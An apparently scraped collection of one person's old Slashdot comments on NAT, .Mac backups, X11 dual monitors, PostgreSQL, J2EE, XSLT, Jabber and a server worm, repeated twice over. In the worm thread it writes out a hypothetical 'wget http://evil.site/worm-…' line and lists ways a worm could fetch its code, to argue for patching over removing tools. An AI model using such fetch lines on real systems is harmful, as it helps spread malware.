NAT cripples TCP/IP-functionality and was only invented to work around the lack of IP-addresses. It is not meant as a security-measurement and does not really add much security over a decent firewall.
True, but as a practical matter, I'd say that NAT has improved security in general. NAT requires a connection-tracking firewall to work. So it means many people have them who wouldn't otherwise. And it enforces a specific good practice in setting up the firewall: no incoming connections to any of the internal hosts unless you explicitly configure them. Nothing people couldn't get otherwise, but something they probably wouldn't get otherwise.
There is one thing it adds over a properly-configured firewall: hiding information about how many computers you have, which one opened a connection, etc. You might or might not consider that information sensitive.
A self signed certificate will do, since Backup does not check the certificate.
That's really bad. It means that anyone can launch a man-in-the-middle attack against someone using.Mac for backup purposes. I'm sure people are using.Mac to backup their Quicken financial data and other things they'd consider sensitive.
I hope Apple fixes that...I'd be pretty pissed if I were a.mac user.
To satisfy those, at least skins should be implemented at the OS level, so that a user can enable/disable it system wide...
I agree. That's why I hate skinning in, say, WinAmp, but like the idea in KDE or GNOME. Those are system-wide, or as close as anything on X11 gets. I want consistency between applications.
NOTE: With nView, the two displays have to be beside each other under X.
I really don't like nVidia's X11 driver's support for dual monitors. It does this stupid "TwinView"/"SecondMonitorHorizSync"/"MetaModes"/"T winViewOrientation" thing in the screen section rather than having two Monitor and Screen sections. It means you have to specify the settings for the second monitor in a non-standard way, Xinerama support doesn't work right, and you have fewer options for placement.
With the multiple card approach, yeah, it works better. You can use XFree86's native support for multiple monitors, which is superior.
What about refresh rate? I've got a dual-monitor card in my PC (GeForce4 Ti4400). I use a second video card instead of the second port because the refresh rate drops when I add a second display. Does the same happen with the Radeon 9000 on a Mac? Does it have separate RAMDACs for the two displays?
The difference is that csh sucks for programming and Bourne-based shells do not. For consistency, I always use bash.
Sometimes people use t?csh for root's shell for a few reasons: it's installed in the base system of most Unices, it's typically statically linked, and it has more built-in commands. Argubly these make it superior if there are system disasters, though you could solve that by putting bash statically linked in/bin and making sure those non-builtins are also statically linked in/bin.
But there are other ways to compare besides just code size.
No idea where you got the idea that was the only way I thought to compare. I've mentioned:
code size
performance
separation of languages that require a different way of thinking. I.e., separate Java and SQL. separate Java logic and HTML/JSP view components. (and with MVC, separate controller.)
automatically generated code (which the JPetStore people feel should be avoided. I agree)
All of these (and more) would be easier to evaluate with a common, non-trivial example.
"Change friendly" depends a lot on how the app was written... I can write something in any language that is change unfriendly. I can also write something in many languages that is change friendly.
Right, but I'm talking about much more than just the language. The jPetStore and the official J2EE Pet Store Demo are both Java/J2EE applications, but they have totally different methodologies. It would be interesting to see one for each framework.
I thought that it was Java "official" platform for enterprise apps what was being compared, not Java as a language and libs found in the net.
Maybe, but struts is more what real people use, so that comparison is much more valuable.
Now let'w write a Perl/PHP/Python/Apache - Postgresql version of this pet project.
I'd love to see that. It'd be great to have a single reference application coded in a million different ways so it's easy to compare them and see what's easiest.
The fact that it can take weeks of 'tuning' the app server to get acceptable performance out of it is a fatal flaw in its own right. nobody has time to do that.
In fairness to EJB, that was The Middleware Company's (Microsoft's) assertion that two people took five weeks to tune it as well as possible. From what the Dreambean people said, I think that's a complete lie.
But I absolutely agree that EJB is weird, ugly, and limited.
jPetStore is worth checking out. These people decided that the J2EE pet store is way too complex, which I'm inclined to agree with. They produced, using Jakarta Struts, a Java pet store web application that is much leaner. It's comparable in size to the.NET pet store but better in several ways - there's no SQL embedded in the code, there's no HTML embedded in the database, no code was automatically generated, and it's MVC-based.
I've always thought that Enterprise Java Beans are overengineering to the extreme. It's nice to have something to back that up with now. There's no question in my mind that this JPetStore beats out both the original J2EE one and the.NET one in maintainability.
They didn't do any benchmarks - performance wasn't what they were going for - but it would be interesting to see some. I'd be inclined to believe this simpler approach would also have much better performance than J2EE.
So in short, the one users reason is, "I picked a database with less features/reliability because I need speed more than features/reliability."
Okay. That makes much more sense. I'm not sure it's really true for a lot of people, though:
I've never had a speed problem with PostgreSQL. With a decent database structure, correct indexes, up-to-date statistics (run "vacuum analyze" nightly), and sane queries (read an "explain analyze" every now and then), it's always been orders of magnitude faster than I really need. I think what I do is as intensive as what most people do with MySQL. I wonder if people feel like they are pushing the performance envelope because they are doing weird queries because proper ones are not possible with MySQL's limited query options. Or if they just see that MySQL is fast enough and assume PostgreSQL would not be without really trying it.
At work, I sometimes deal with lots of data (Oracle). There I'm glad for performance features like index-organized tables and materialized views that neither MySQL nor PostgreSQL have. So there is progress to be made; I just don't think it's relevant for many applications.
You can make the same compromise within PostgreSQL. Really, any speed comparison of the two should do so to be on the same ground. (Or better, test PostgreSQL both ways and note why most people consider losing the speed to be worthwhile.) You just say "fsync = false" in postgresql.conf and it will no longer do the D of ACID for the benefit of faster commits.
The performance comparisons I've seen that showed MySQL in the lead used very simplistic queries. PostgreSQL has a query planner that I think would cause things to be quite different with more realistic ones.
Re:They passed on Java because FreeBSD is crappy?
on
Yahoo Moving to PHP
·
· Score: 1
According to the slides, the only negative thing they had to say about Java (J2EE / JSP / etc.) is that FreeBSD has really lousy thread support (and proper J2EE solutions require threading)...
I find that especially sad because I think good threading support on FreeBSD is not far away. 5.0 is supposed to have Kernel Scheduling Entities; a new, high-performance way to accomplish threading. I believe they're now going for a November release. (It was originally intended to have been released well before now.) Add in a few months for safety and that's only February. Still not very far in the grand scheme of things.
But I guess they don't want to plan on a solution that doesn't work now. Which is why I tend to think you are right; a switch from FreeBSD to Linux would have been worth being able to use J2EE well, if FreeBSD's existing threading support can't last them that long.
Smarty loops over an array of hashes. [...] The downside is that your templates sometimes end up looking like an uglier version of some ColdFusion page written by a drunken 6 year old.
Actually, I can think of a couple other significant downsides: the information for the entire page must be gathered in memory before you can begin to send it out. A big part of perceived performance is latency, so that's bad. And the memory usage could also be bad. I wouldn't want to use your model on really big pages for those reasons.
I'm working with Jakarta Struts and something roughly like the "Model 2X" mentioned a couple places on the web. It sounds similar to what you're doing, despite a complete different programming language: in my Actions, I do all updates and stuff that can totally change the layout of the page. The results of it (JavaBeans tied to the page, much like your arrays of hashes) are sent to a servlet of mine. The servlet produces SAX events from those and pumps them through XSLT, an incredibly flexible (and unfortunately sometimes overly wordy) template language.
And here's where it differs: my servlet can produce SAX events from arbitrary queries as well. With an incremental XSLT engine (Xalan), it can process a single row and then discard the information; it's no longer needed. I don't think that's quite the structure the Jakarta people envisioned and it does have at least one downside. Error handling of those can't be as smooth since it has already sent out a good deal of the page. But it decreases latency and memory usage, and I think it's worth it. The queries I put there are not likely to error out and an unlikely fugly page is an acceptable compromise.
The whole setup is very much a work in progress. I've got a messageboard currently implemented with one giant, ugly servlet that produces SAX output and sends it through some really nice XSLT [1]. This is my way of keeping the XSLT (which I was proud of) and get rid of the single giant ugly servlet (which I was definitely not).
Plus, using XSLT has some other big advantages:
correct escaping; no cross-site scripting attacks. With most ways of producing HTML, you have to explicitly quote stuff. [2] Here, it's different: you have to explicitly treat stuff as XML fragments for that to happen. That way is much better from a security perspective.
it's more standard. Lots of people know it.
it's impossible to produce non-well-formed XML, short of disabling output escaping (which I don't). This is because of the first reason and because an XSLT template is itself an XML document which must be well-formed to run.
templates are much more reusable. I've got a standard resultset schema I use for SQL resultsets and a template that produces a nice, shiny stock table from it with greybarring and everything. I just need to override it for the exceptions, so it's much less redundant. A big part of why I'm so proud of my XSLT.
[1] - feel free to check out the xslt if you like. It, the database schema, and the database queries (processed through xslt from the raw xml) are what I'm proud of. The rest of the architecture I've described is being written right now, really.
[2] - I'm not sure if that's true for Smarty. It's certainly true for HTML::Template in Perl, which my first version of this software used. I was tired of having to specify escaping everywhere to be correct.
glwtta asked: how was the decision made to use MySQL?
papasui answered: Free is good, but the majority of the information collected isn't critical. So should the database fail we aren't really loosing information that will seriously hamper anything.
The question was why did you pick MySQL. I really hope that you misread it, because in that context your answer could be paraphrased as "I picked a database that is less reliable because I do not absolutely need reliability". That's stupid. What did you gain by sacrificing that reliability? What makes MySQL better than PostgreSQL for you? As opposed to "what makes one particular weakness of MySQL slightly less important for you?"
Offically my Cable Provider (Rogers) is not supporting Linux / Unix but if you have a technical issue just bug the Second Line support and 99% of the time you get the Unix guy who answers your questions.
I've never even had to do that (MediaCom). When it was installed and when I've had problems with the service, they've told me they don't support Linux. I've just told that's fine and to tell me what they want done instead of how to accomplish it. They've been pretty good about that. I get instructions like "go to this URL to register your computer's MAC address with us" instead of "click on 'Start' in the lower left hand corner,...".
That sort of thing is more common than you think. People are stupid. One easy way to debug it is to see if the problem goes away if you make the servlet implement javax.servlet.SingleThreadModel, which tells the servlet container that a single instance should not be expected to serve simultaneous requests.
Well, here's the test then. Do those with autism go on to have more children or grandchilden than average?
If not, autism in itself is evolutionarily negative. However, it is possible that a milder expression of the same genes does have advantages, ala tech centers. Think sickle-cell anemia, where one gene gives you malaria resistantance, but two make you very sick.
The last part of that is what I find to be interesting. I heard somewhere a theory that certain genetic diseases (they might have been talking about autism; I wish I remembered) were not weeded out because it increased the survival of relatives of people who had it. I seem to recall a couple subtheories: (1) that milder versions of it increased success (as you said) and (2) that actually taking care of their "defective" relative somehow increased their compassion/child-raising skills/whatever...so their survival in a way was increased by traits they had some genes for but didn't really share.
Re:Sponsored by your local electric company...
on
RC5-64 Success
·
· Score: 2
You've forwarded the proposition that
U.S. and Iraqi soldiers had to die to run the decryption.
Which yields the converse:
If wasn't run, no U.S. and Iraqi soldiers would have had to die.
Which is patently untrue. You're attempt at an emotional appeal as an argument was not only weak, it was stupid. You might as well have said that not turning off your lights when you're not using them causes soldiers to die.
Umm, someone isn't familiar with logic. The converse of a true statement is not necessarily true. The contrapositive, however, is. In this case:
If no U.S. and Iraqi soldiers died, the decryption would not have been run.
Which is false, so the original statement must be also. But that doesn't change the fact that you've given a straw man - the converse wasn't something he asserted to be true at all.
Remember:
P -> Q: original statement.
~P -> ~Q: inverse.
Q -> P: converse.
~Q -> ~P: contrapositive.
The original and the contrapositive are equivalent statements. The others are not.
I hadn't been a GAIM fan before, but there is a Win32 port out (not perfect), but it does have the tabbed conversation window thing going on, which may impress those used to standard AIM interface. If you've got a couple spare meg, toss it on.:)
Please don't. The Trillian users' complaints about WinGAIM are legitimate. I've tried it and it completely ignores the Windows human resource guidelines. It doesn't even use the right background color. It's horrible. This will represent gaim poorly (I like it on Linux) and represent open source poorly. Maybe in a few revisions...
You can actually describe it in a way that won't be horrifically intimidating. Tell them it's a replacement for Notepad with a lot more features. And you can use the mouse if you want, but there's keyboard shortcuts for everything: once you learn them, you'll be twice as fast with Vim as with any other editor.
In this spirit, why don't you put jEdit on the CD. I've oscillated between vim and jEdit personally, but there's no question which one I'd rather give to a novice. jEdit is much, much simpler to understand. It's graphical (no, gvim isn't graphical). It also has many keyboard shortcuts, though not quite to vim's taste. I have hopes it will even be capable of moded operation through the Vimulator plugin (which needs a lot of work still).
It's mostly a programmer's editor, but there's no reason to ever use notepad when it's around.
As "stupid" as it may seem from an ivory tower perspective, in practice it helps. It's not a first line of defense, but it helps.
I'd have to say that removing arbitrary bits of your toolchain because some worm uses them is an ivory tower idea. It makes assumptions of a perfect system (you have a staging machine that has identical library versions, etc). When those are not true, it doesn't work out well - the version you've meticulously tested elsewhere fails in a way it wouldn't if you had compiled it locally. And the time spent doing it could be better spent running rhn_register or similar for much more real gain.
To give further examples, I expect people to say several of the following in the future:
don't have a compiler on your production machine (again. worm workaround: download compiled code)
don't have wget on your production machine. (worm workaround: use curl, links, lynx, ftp, ncftp, scp, sftp, or just implement the transfer itself; it doesn't require much code.)
add a fake/etc/hosts entry for evil.site (work by IP address, change the site name)
deny outbound connections from the webserver (this one actually would stop your machine from infecting other servers unless the attacker gets privileges necessary to change the firewall rules, but it would be really annoying)
remove/bin/uname (use/usr/bin/file to find the binary type of a standard system binary)
remove/usr/bin/file (some other trick to find system type; there are plenty)
run the webserver in a jail on a machine that is uncrippled. (Now this one actually makes sense, though it may not realistically be worth the effort.)
At some point, you've made things much more difficult for yourself and lost all perspective on a non-problem. These worms have all happened well after the patches are available.
3) Don't install a development environment (e.g. gcc, which is required for this worm to propogate) on a publically exposed web server!
Obviously, this won't work for people with only one box who want to run their personal web server off of it as well as do their dev work there, but for *real* servers this is a good practice. People who must have compilers on their web server are probably not using SSL, as you stated:-).
I keep seeing this comment, and every time I think how stupid it is. The compiler is not the security flaw. Given the number of comments like this, I fully expect the next version of this worm to have a "|| wget http://evil.site/worm-`uname -s`-`uname -m`" in place, and evil.site to have statically linked binaries. Then people will be saying "You don't need wget on a production webserver!" or some stupid shit like that. And it will move on to something else. They're already running code on your computer. You're already screwed.
(Isn't the first piece of the exploit written in assembler, as is typical for buffer exploits? Then they have to have targeted your platform specifically anyway. I just don't see why the compiler stage is necessary at all. They can just transfer the larger chunk of worm executable in the same way they transferred the source code.)
The real solution is to secure your system in the first place: disable services you aren't using. Patch ones you are. Given the month between the patch and the exploit, anyone following this practice will be unaffected.
Yeah, just like they get paid for hosting all of our web pages, email, and ft.... Wait a second, we run our own servers for those things! Why the heck can't we have an IM system that's the same way? Run our own darned IM gateways/server, and just include it as part of your address (whoops - screen name, can't have anything technical sounding). User@server has worked well enough for email, heck with an LDAP3 directory backing it, email your address could easily be mapped to the IM presence on your server/gateway. If you really wanted to get fancy, add an IM record type to DNS.
You've just described Jabber. Anyone can run a server. It uses user@server email-style addresses. Servers communicate between themselves as in email; this can be turned off for Intranet usage. It uses SRV DNS RRs which are a generalization of email's MX RRs. I think LDAP integration in the existing servers is poor so far, but that's an implementation detail and can be improved later.
Thinking like this is just plain stupid - there's no possible reason why this couldn't work without relying on MS/AOL/Yahoo to run our servers for us... Except they beat us to it. So how do we convince those planning to spend $$ to do it in a responsible fashion?
Jabber is being pushed toward standardization in the IETF, as the article mentioned. I think the situation will improve greatly after the IETF working group for it is created.
Slashdot Mirror
True, but as a practical matter, I'd say that NAT has improved security in general. NAT requires a connection-tracking firewall to work. So it means many people have them who wouldn't otherwise. And it enforces a specific good practice in setting up the firewall: no incoming connections to any of the internal hosts unless you explicitly configure them. Nothing people couldn't get otherwise, but something they probably wouldn't get otherwise.
There is one thing it adds over a properly-configured firewall: hiding information about how many computers you have, which one opened a connection, etc. You might or might not consider that information sensitive.
Obviously, it's a security feature. ;)
A self signed certificate will do, since Backup does not check the certificate.
That's really bad. It means that anyone can launch a man-in-the-middle attack against someone using .Mac for backup purposes. I'm sure people are using .Mac to backup their Quicken financial data and other things they'd consider sensitive.
I hope Apple fixes that...I'd be pretty pissed if I were a .mac user.
I agree. That's why I hate skinning in, say, WinAmp, but like the idea in KDE or GNOME. Those are system-wide, or as close as anything on X11 gets. I want consistency between applications.
Don't agree here. Again, I want consistency.
I really don't like nVidia's X11 driver's support for dual monitors. It does this stupid "TwinView"/"SecondMonitorHorizSync"/"MetaModes"/"T winViewOrientation" thing in the screen section rather than having two Monitor and Screen sections. It means you have to specify the settings for the second monitor in a non-standard way, Xinerama support doesn't work right, and you have fewer options for placement.
With the multiple card approach, yeah, it works better. You can use XFree86's native support for multiple monitors, which is superior.
What about refresh rate? I've got a dual-monitor card in my PC (GeForce4 Ti4400). I use a second video card instead of the second port because the refresh rate drops when I add a second display. Does the same happen with the Radeon 9000 on a Mac? Does it have separate RAMDACs for the two displays?
Sometimes people use t?csh for root's shell for a few reasons: it's installed in the base system of most Unices, it's typically statically linked, and it has more built-in commands. Argubly these make it superior if there are system disasters, though you could solve that by putting bash statically linked in /bin and making sure those non-builtins are also statically linked in /bin.
No idea where you got the idea that was the only way I thought to compare. I've mentioned:
All of these (and more) would be easier to evaluate with a common, non-trivial example.
Right, but I'm talking about much more than just the language. The jPetStore and the official J2EE Pet Store Demo are both Java/J2EE applications, but they have totally different methodologies. It would be interesting to see one for each framework.
Maybe, but struts is more what real people use, so that comparison is much more valuable.
Now let'w write a Perl/PHP/Python/Apache - Postgresql version of this pet project.
I'd love to see that. It'd be great to have a single reference application coded in a million different ways so it's easy to compare them and see what's easiest.
In fairness to EJB, that was The Middleware Company's (Microsoft's) assertion that two people took five weeks to tune it as well as possible. From what the Dreambean people said, I think that's a complete lie.
But I absolutely agree that EJB is weird, ugly, and limited.
jPetStore is worth checking out. These people decided that the J2EE pet store is way too complex, which I'm inclined to agree with. They produced, using Jakarta Struts, a Java pet store web application that is much leaner. It's comparable in size to the .NET pet store but better in several ways - there's no SQL embedded in the code, there's no HTML embedded in the database, no code was automatically generated, and it's MVC-based.
I've always thought that Enterprise Java Beans are overengineering to the extreme. It's nice to have something to back that up with now. There's no question in my mind that this JPetStore beats out both the original J2EE one and the .NET one in maintainability.
They didn't do any benchmarks - performance wasn't what they were going for - but it would be interesting to see some. I'd be inclined to believe this simpler approach would also have much better performance than J2EE.
Okay. That makes much more sense. I'm not sure it's really true for a lot of people, though:
At work, I sometimes deal with lots of data (Oracle). There I'm glad for performance features like index-organized tables and materialized views that neither MySQL nor PostgreSQL have. So there is progress to be made; I just don't think it's relevant for many applications.
I find that especially sad because I think good threading support on FreeBSD is not far away. 5.0 is supposed to have Kernel Scheduling Entities; a new, high-performance way to accomplish threading. I believe they're now going for a November release. (It was originally intended to have been released well before now.) Add in a few months for safety and that's only February. Still not very far in the grand scheme of things.
But I guess they don't want to plan on a solution that doesn't work now. Which is why I tend to think you are right; a switch from FreeBSD to Linux would have been worth being able to use J2EE well, if FreeBSD's existing threading support can't last them that long.
Actually, I can think of a couple other significant downsides: the information for the entire page must be gathered in memory before you can begin to send it out. A big part of perceived performance is latency, so that's bad. And the memory usage could also be bad. I wouldn't want to use your model on really big pages for those reasons.
I'm working with Jakarta Struts and something roughly like the "Model 2X" mentioned a couple places on the web. It sounds similar to what you're doing, despite a complete different programming language: in my Actions, I do all updates and stuff that can totally change the layout of the page. The results of it (JavaBeans tied to the page, much like your arrays of hashes) are sent to a servlet of mine. The servlet produces SAX events from those and pumps them through XSLT, an incredibly flexible (and unfortunately sometimes overly wordy) template language.
And here's where it differs: my servlet can produce SAX events from arbitrary queries as well. With an incremental XSLT engine (Xalan), it can process a single row and then discard the information; it's no longer needed. I don't think that's quite the structure the Jakarta people envisioned and it does have at least one downside. Error handling of those can't be as smooth since it has already sent out a good deal of the page. But it decreases latency and memory usage, and I think it's worth it. The queries I put there are not likely to error out and an unlikely fugly page is an acceptable compromise.
The whole setup is very much a work in progress. I've got a messageboard currently implemented with one giant, ugly servlet that produces SAX output and sends it through some really nice XSLT [1]. This is my way of keeping the XSLT (which I was proud of) and get rid of the single giant ugly servlet (which I was definitely not).
Plus, using XSLT has some other big advantages:
[1] - feel free to check out the xslt if you like. It, the database schema, and the database queries (processed through xslt from the raw xml) are what I'm proud of. The rest of the architecture I've described is being written right now, really.
[2] - I'm not sure if that's true for Smarty. It's certainly true for HTML::Template in Perl, which my first version of this software used. I was tired of having to specify escaping everywhere to be correct.
papasui answered: Free is good, but the majority of the information collected isn't critical. So should the database fail we aren't really loosing information that will seriously hamper anything.
The question was why did you pick MySQL. I really hope that you misread it, because in that context your answer could be paraphrased as "I picked a database that is less reliable because I do not absolutely need reliability". That's stupid. What did you gain by sacrificing that reliability? What makes MySQL better than PostgreSQL for you? As opposed to "what makes one particular weakness of MySQL slightly less important for you?"
I've never even had to do that (MediaCom). When it was installed and when I've had problems with the service, they've told me they don't support Linux. I've just told that's fine and to tell me what they want done instead of how to accomplish it. They've been pretty good about that. I get instructions like "go to this URL to register your computer's MAC address with us" instead of "click on 'Start' in the lower left hand corner, ...".
That sort of thing is more common than you think. People are stupid. One easy way to debug it is to see if the problem goes away if you make the servlet implement javax.servlet.SingleThreadModel, which tells the servlet container that a single instance should not be expected to serve simultaneous requests.
If not, autism in itself is evolutionarily negative. However, it is possible that a milder expression of the same genes does have advantages, ala tech centers. Think sickle-cell anemia, where one gene gives you malaria resistantance, but two make you very sick.
The last part of that is what I find to be interesting. I heard somewhere a theory that certain genetic diseases (they might have been talking about autism; I wish I remembered) were not weeded out because it increased the survival of relatives of people who had it. I seem to recall a couple subtheories: (1) that milder versions of it increased success (as you said) and (2) that actually taking care of their "defective" relative somehow increased their compassion/child-raising skills/whatever...so their survival in a way was increased by traits they had some genes for but didn't really share.
Which yields the converse:
Which is patently untrue. You're attempt at an emotional appeal as an argument was not only weak, it was stupid. You might as well have said that not turning off your lights when you're not using them causes soldiers to die.
Umm, someone isn't familiar with logic. The converse of a true statement is not necessarily true. The contrapositive, however, is. In this case:
Which is false, so the original statement must be also. But that doesn't change the fact that you've given a straw man - the converse wasn't something he asserted to be true at all.
Remember:
The original and the contrapositive are equivalent statements. The others are not.
Please don't. The Trillian users' complaints about WinGAIM are legitimate. I've tried it and it completely ignores the Windows human resource guidelines. It doesn't even use the right background color. It's horrible. This will represent gaim poorly (I like it on Linux) and represent open source poorly. Maybe in a few revisions...
In this spirit, why don't you put jEdit on the CD. I've oscillated between vim and jEdit personally, but there's no question which one I'd rather give to a novice. jEdit is much, much simpler to understand. It's graphical (no, gvim isn't graphical). It also has many keyboard shortcuts, though not quite to vim's taste. I have hopes it will even be capable of moded operation through the Vimulator plugin (which needs a lot of work still).
It's mostly a programmer's editor, but there's no reason to ever use notepad when it's around.
I'd have to say that removing arbitrary bits of your toolchain because some worm uses them is an ivory tower idea. It makes assumptions of a perfect system (you have a staging machine that has identical library versions, etc). When those are not true, it doesn't work out well - the version you've meticulously tested elsewhere fails in a way it wouldn't if you had compiled it locally. And the time spent doing it could be better spent running rhn_register or similar for much more real gain.
To give further examples, I expect people to say several of the following in the future:
At some point, you've made things much more difficult for yourself and lost all perspective on a non-problem. These worms have all happened well after the patches are available.
Obviously, this won't work for people with only one box who want to run their personal web server off of it as well as do their dev work there, but for *real* servers this is a good practice. People who must have compilers on their web server are probably not using SSL, as you stated :-).
I keep seeing this comment, and every time I think how stupid it is. The compiler is not the security flaw. Given the number of comments like this, I fully expect the next version of this worm to have a "|| wget http://evil.site/worm-`uname -s`-`uname -m`" in place, and evil.site to have statically linked binaries. Then people will be saying "You don't need wget on a production webserver!" or some stupid shit like that. And it will move on to something else. They're already running code on your computer. You're already screwed.
(Isn't the first piece of the exploit written in assembler, as is typical for buffer exploits? Then they have to have targeted your platform specifically anyway. I just don't see why the compiler stage is necessary at all. They can just transfer the larger chunk of worm executable in the same way they transferred the source code.)
The real solution is to secure your system in the first place: disable services you aren't using. Patch ones you are. Given the month between the patch and the exploit, anyone following this practice will be unaffected.
You've just described Jabber. Anyone can run a server. It uses user@server email-style addresses. Servers communicate between themselves as in email; this can be turned off for Intranet usage. It uses SRV DNS RRs which are a generalization of email's MX RRs. I think LDAP integration in the existing servers is poor so far, but that's an implementation detail and can be improved later.
Thinking like this is just plain stupid - there's no possible reason why this couldn't work without relying on MS/AOL/Yahoo to run our servers for us... Except they beat us to it. So how do we convince those planning to spend $$ to do it in a responsible fashion?
Jabber is being pushed toward standardization in the IETF, as the article mentioned. I think the situation will improve greatly after the IETF working group for it is created.